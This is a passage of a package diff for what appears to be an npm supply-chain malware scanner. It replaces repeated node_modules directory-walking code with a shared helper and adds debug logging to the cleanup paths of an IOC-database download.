const pkgNames = [];
|
|
422
|
-
try {
|
|
423
|
-
const items = fs.readdirSync(nodeModulesPath);
|
|
424
|
-
for (const item of items) {
|
|
425
|
-
if (item.startsWith('.')) continue;
|
|
426
|
-
const itemPath = path.join(nodeModulesPath, item);
|
|
427
|
-
try {
|
|
428
|
-
const stat = fs.lstatSync(itemPath);
|
|
429
|
-
if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
|
|
430
|
-
if (item.startsWith('@')) {
|
|
431
|
-
const scopedItems = fs.readdirSync(itemPath);
|
|
432
|
-
for (const si of scopedItems) {
|
|
433
|
-
const sp = path.join(itemPath, si);
|
|
434
|
-
const ss = fs.lstatSync(sp);
|
|
435
|
-
if (!ss.isSymbolicLink() && ss.isDirectory()) {
|
|
436
|
-
pkgNames.push(`${item}/${si}`);
|
|
437
|
-
}
|
|
438
|
-
}
|
|
439
|
-
} else {
|
|
440
|
-
pkgNames.push(item);
|
|
441
|
-
}
|
|
442
|
-
} catch { /* skip unreadable */ }
|
|
443
|
-
}
|
|
444
|
-
} catch { /* no node_modules readable */ }
|
|
445
|
-
|
|
427
|
+
const pkgNames = listInstalledPackages(targetPath);
|
|
428
|
+
{
|
|
446
429
|
const TEMPORAL_CONCURRENCY = 5;
|
|
447
430
|
for (let i = 0; i < pkgNames.length; i += TEMPORAL_CONCURRENCY) {
|
|
448
431
|
const batch = pkgNames.slice(i, i + TEMPORAL_CONCURRENCY);
|
|
@@ -474,33 +457,8 @@ async function run(targetPath, options = {}) {
|
|
|
474
457
|
if (!options._capture && !options.json) {
|
|
475
458
|
console.log('[TEMPORAL-AST] Analyzing dangerous API changes (this downloads tarballs)...\n');
|
|
476
459
|
}
|
|
477
|
-
const
|
|
478
|
-
|
|
479
|
-
const pkgNames = [];
|
|
480
|
-
try {
|
|
481
|
-
const items = fs.readdirSync(nodeModulesPath);
|
|
482
|
-
for (const item of items) {
|
|
483
|
-
if (item.startsWith('.')) continue;
|
|
484
|
-
const itemPath = path.join(nodeModulesPath, item);
|
|
485
|
-
try {
|
|
486
|
-
const stat = fs.lstatSync(itemPath);
|
|
487
|
-
if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
|
|
488
|
-
if (item.startsWith('@')) {
|
|
489
|
-
const scopedItems = fs.readdirSync(itemPath);
|
|
490
|
-
for (const si of scopedItems) {
|
|
491
|
-
const sp = path.join(itemPath, si);
|
|
492
|
-
const ss = fs.lstatSync(sp);
|
|
493
|
-
if (!ss.isSymbolicLink() && ss.isDirectory()) {
|
|
494
|
-
pkgNames.push(`${item}/${si}`);
|
|
495
|
-
}
|
|
496
|
-
}
|
|
497
|
-
} else {
|
|
498
|
-
pkgNames.push(item);
|
|
499
|
-
}
|
|
500
|
-
} catch { /* skip unreadable */ }
|
|
501
|
-
}
|
|
502
|
-
} catch { /* no node_modules readable */ }
|
|
503
|
-
|
|
460
|
+
const pkgNames = listInstalledPackages(targetPath);
|
|
461
|
+
{
|
|
504
462
|
const AST_CONCURRENCY = 3;
|
|
505
463
|
for (let i = 0; i < pkgNames.length; i += AST_CONCURRENCY) {
|
|
506
464
|
const batch = pkgNames.slice(i, i + AST_CONCURRENCY);
|
|
@@ -531,33 +489,8 @@ async function run(targetPath, options = {}) {
|
|
|
531
489
|
if (!options._capture && !options.json) {
|
|
532
490
|
console.log('[TEMPORAL-PUBLISH] Analyzing publish frequency anomalies (this makes network requests)...\n');
|
|
533
491
|
}
|
|
534
|
-
const
|
|
535
|
-
|
|
536
|
-
const pkgNames = [];
|
|
537
|
-
try {
|
|
538
|
-
const items = fs.readdirSync(nodeModulesPath);
|
|
539
|
-
for (const item of items) {
|
|
540
|
-
if (item.startsWith('.')) continue;
|
|
541
|
-
const itemPath = path.join(nodeModulesPath, item);
|
|
542
|
-
try {
|
|
543
|
-
const stat = fs.lstatSync(itemPath);
|
|
544
|
-
if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
|
|
545
|
-
if (item.startsWith('@')) {
|
|
546
|
-
const scopedItems = fs.readdirSync(itemPath);
|
|
547
|
-
for (const si of scopedItems) {
|
|
548
|
-
const sp = path.join(itemPath, si);
|
|
549
|
-
const ss = fs.lstatSync(sp);
|
|
550
|
-
if (!ss.isSymbolicLink() && ss.isDirectory()) {
|
|
551
|
-
pkgNames.push(`${item}/${si}`);
|
|
552
|
-
}
|
|
553
|
-
}
|
|
554
|
-
} else {
|
|
555
|
-
pkgNames.push(item);
|
|
556
|
-
}
|
|
557
|
-
} catch { /* skip unreadable */ }
|
|
558
|
-
}
|
|
559
|
-
} catch { /* no node_modules readable */ }
|
|
560
|
-
|
|
492
|
+
const pkgNames = listInstalledPackages(targetPath);
|
|
493
|
+
{
|
|
561
494
|
const PUBLISH_CONCURRENCY = 5;
|
|
562
495
|
for (let i = 0; i < pkgNames.length; i += PUBLISH_CONCURRENCY) {
|
|
563
496
|
const batch = pkgNames.slice(i, i + PUBLISH_CONCURRENCY);
|
|
@@ -585,33 +518,8 @@ async function run(targetPath, options = {}) {
|
|
|
585
518
|
if (!options._capture && !options.json) {
|
|
586
519
|
console.log('[TEMPORAL-MAINTAINER] Analyzing maintainer changes (this makes network requests)...\n');
|
|
587
520
|
}
|
|
588
|
-
const
|
|
589
|
-
|
|
590
|
-
const pkgNames = [];
|
|
591
|
-
try {
|
|
592
|
-
const items = fs.readdirSync(nodeModulesPath);
|
|
593
|
-
for (const item of items) {
|
|
594
|
-
if (item.startsWith('.')) continue;
|
|
595
|
-
const itemPath = path.join(nodeModulesPath, item);
|
|
596
|
-
try {
|
|
597
|
-
const stat = fs.lstatSync(itemPath);
|
|
598
|
-
if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
|
|
599
|
-
if (item.startsWith('@')) {
|
|
600
|
-
const scopedItems = fs.readdirSync(itemPath);
|
|
601
|
-
for (const si of scopedItems) {
|
|
602
|
-
const sp = path.join(itemPath, si);
|
|
603
|
-
const ss = fs.lstatSync(sp);
|
|
604
|
-
if (!ss.isSymbolicLink() && ss.isDirectory()) {
|
|
605
|
-
pkgNames.push(`${item}/${si}`);
|
|
606
|
-
}
|
|
607
|
-
}
|
|
608
|
-
} else {
|
|
609
|
-
pkgNames.push(item);
|
|
610
|
-
}
|
|
611
|
-
} catch { /* skip unreadable */ }
|
|
612
|
-
}
|
|
613
|
-
} catch { /* no node_modules readable */ }
|
|
614
|
-
|
|
521
|
+
const pkgNames = listInstalledPackages(targetPath);
|
|
522
|
+
{
|
|
615
523
|
const MAINTAINER_CONCURRENCY = 5;
|
|
616
524
|
for (let i = 0; i < pkgNames.length; i += MAINTAINER_CONCURRENCY) {
|
|
617
525
|
const batch = pkgNames.slice(i, i + MAINTAINER_CONCURRENCY);
|
package/src/ioc/bootstrap.js
CHANGED
|
@@ -4,6 +4,7 @@ const fs = require('fs');
|
|
|
4
4
|
const path = require('path');
|
|
5
5
|
const os = require('os');
|
|
6
6
|
const zlib = require('zlib');
|
|
7
|
+
const { debugLog } = require('../utils.js');
|
|
7
8
|
|
|
8
9
|
// GitHub Releases URL for pre-compressed IOC database
|
|
9
10
|
const IOCS_URL = 'https://github.com/DNSZLSK/muad-dib/releases/latest/download/iocs.json.gz';
|
|
@@ -87,12 +88,12 @@ function downloadAndDecompress(url, destPath) {
|
|
|
87
88
|
|
|
88
89
|
gunzip.on('error', (err) => {
|
|
89
90
|
fileStream.destroy();
|
|
90
|
-
try { fs.unlinkSync(tmpPath); } catch {}
|
|
91
|
+
try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
|
|
91
92
|
reject(new Error('Decompression failed: ' + err.message));
|
|
92
93
|
});
|
|
93
94
|
|
|
94
95
|
fileStream.on('error', (err) => {
|
|
95
|
-
try { fs.unlinkSync(tmpPath); } catch {}
|
|
96
|
+
try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
|
|
96
97
|
reject(err);
|
|
97
98
|
});
|
|
98
99
|
|
|
@@ -102,7 +103,7 @@ function downloadAndDecompress(url, destPath) {
|
|
|
102
103
|
fs.renameSync(tmpPath, destPath);
|
|
103
104
|
resolve();
|
|
104
105
|
} catch (err) {
|
|
105
|
-
try { fs.unlinkSync(tmpPath); } catch {}
|
|
106
|
+
try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
|
|
106
107
|
reject(err);
|
|
107
108
|
}
|
|
108
109
|
});
|
|
@@ -110,7 +111,7 @@ function downloadAndDecompress(url, destPath) {
|
|
|
110
111
|
res.on('error', (err) => {
|
|
111
112
|
gunzip.destroy();
|
|
112
113
|
fileStream.destroy();
|
|
113
|
-
try { fs.unlinkSync(tmpPath); } catch {}
|
|
114
|
+
try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
|
|
114
115
|
reject(err);
|
|
115
116
|
});
|
|
116
117
|
|